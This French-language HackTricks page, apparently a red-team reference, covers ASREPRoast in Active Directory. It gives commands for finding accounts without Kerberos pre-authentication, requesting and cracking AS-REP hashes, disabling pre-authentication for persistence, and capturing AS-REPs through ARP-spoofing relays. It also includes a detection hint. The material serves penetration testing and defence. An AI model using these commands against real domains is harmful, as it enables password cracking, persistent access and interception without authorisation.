ASREPRoast

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

ASREPRoast

ASREPRoast est une attaque de sĂ©curitĂ© qui exploite les utilisateurs qui manquent de l’attribut requis de prĂ©-authentification Kerberos. Essentiellement, cette vulnĂ©rabilitĂ© permet aux attaquants de demander l’authentification d’un utilisateur auprĂšs du ContrĂŽleur de Domaine (DC) sans avoir besoin du mot de passe de l’utilisateur. Le DC rĂ©pond alors avec un message chiffrĂ© avec la clĂ© dĂ©rivĂ©e du mot de passe de l’utilisateur, que les attaquants peuvent tenter de craquer hors ligne pour dĂ©couvrir le mot de passe de l’utilisateur.

Les principales exigences pour cette attaque sont :

  • Absence de prĂ©-authentification Kerberos : Les utilisateurs cibles ne doivent pas avoir cette fonctionnalitĂ© de sĂ©curitĂ© activĂ©e.
  • Connexion au ContrĂŽleur de Domaine (DC) : Les attaquants ont besoin d’un accĂšs au DC pour envoyer des demandes et recevoir des messages chiffrĂ©s.
  • Compte de domaine optionnel : Avoir un compte de domaine permet aux attaquants d’identifier plus efficacement les utilisateurs vulnĂ©rables via des requĂȘtes LDAP. Sans un tel compte, les attaquants doivent deviner les noms d’utilisateur.

ÉnumĂ©ration des utilisateurs vulnĂ©rables (besoin d’identifiants de domaine)

Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

Demander un message AS_REP

#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

Warning

AS-REP Roasting avec Rubeus générera un 4768 avec un type de chiffrement de 0x17 et un type de pré-authentification de 0.

Crackage

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Persistance

Force preauth non requis pour un utilisateur oĂč vous avez des permissions GenericAll (ou des permissions pour Ă©crire des propriĂ©tĂ©s) :

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH 'target_user'

ASREProast sans identifiants

Un attaquant peut utiliser une position de l’homme du milieu pour capturer les paquets AS-REP alors qu’ils traversent le rĂ©seau sans s’appuyer sur la dĂ©sactivation de la prĂ©-authentification Kerberos. Cela fonctionne donc pour tous les utilisateurs sur le VLAN.
ASRepCatcher nous permet de le faire. De plus, l’outil force les stations de travail des clients Ă  utiliser RC4 en modifiant la nĂ©gociation Kerberos.

# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen

Références


Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks